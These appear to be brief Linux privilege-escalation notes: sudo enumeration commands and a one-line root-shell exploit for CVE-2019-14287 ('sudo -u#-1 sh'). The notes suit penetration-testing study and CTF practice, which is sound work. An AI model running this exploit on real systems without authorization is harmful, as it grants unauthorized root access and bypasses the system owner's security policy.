sudo allows a permitted user to execute a command as the superuser or another user, as specified by the security policy.
source: https://github.com/DominicBreuker/pspy
Privilege escalation involved exploiting a bug, design flaw or misconfiguration to gain elevated access and perform unauthorized actions. For example, escalating from a restrictive shell as user www-data, to a session as root.
Check current user’s sudo permissions, and sudo version
sudo -l
sudo -V
Exploit CVE-2019-14287 (Sudo version < 1.8.28)
sudo -u#-1 sh